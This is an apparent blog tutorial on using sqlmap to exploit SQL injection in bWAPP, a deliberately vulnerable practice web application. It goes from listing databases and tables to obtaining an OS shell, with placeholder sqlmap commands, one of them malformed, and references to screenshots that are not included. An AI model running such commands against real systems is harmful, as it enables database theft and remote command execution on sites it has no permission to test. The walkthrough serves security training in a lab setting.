How To Hack bWAPP

Why bWAPP? 😮

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP prepares one to conduct successful penetration testing and ethical hacking projects.

What makes bWAPP so unique? Well, it has over 100 web vulnerabilities!
It covers all major known web bugs, including all risks from the OWASP Top 10 project.

bWAPP is a PHP application that uses a MySQL database. It can be hosted on Linux/Windows with Apache/IIS and MySQL. It can also be installed with WAMP or XAMPP.
Another possibility is to download the bee-box, a custom Linux VM pre-installed with bWAPP.

You can download bWAPP using this link here bWAPP, a buggy web application! (itsecgames.com).

AIM: Perform SQL Injection Attack on Bwapp using SQLMAP and get OS shell

REQUIREMENTS:

·       OS – Windows

·       Tools – Bwapp, Sqlmap,

FOLLOW THE STEPS IN THE IMAGES BELOW:

Lets Goooo!!!

1. Getting the database of bWAPP

python .\sqlmap.py -u "webpage url + cookie" --dbs

2. Below are the list of available database in bWAPP

3. Finding out the Tables in it. Type the following command:

python .\sqlmap.py -u "webpage url+cookie" -D "database name" --tables

4. Below are the tables in the database "bwapp"

5. Finding the os shell type the same previous command:

  python .\sqlmap.py -u "webpage url+cookie" -D " --os-shell

....

CONGRATULATIONS!!!

 

You Have Hacked bWAPP💪💪💪💪

There is another blog where I have posted to configure bWAPP in your computer. Follow for more.

Thank you. 

Don't Forget to Leave a Comment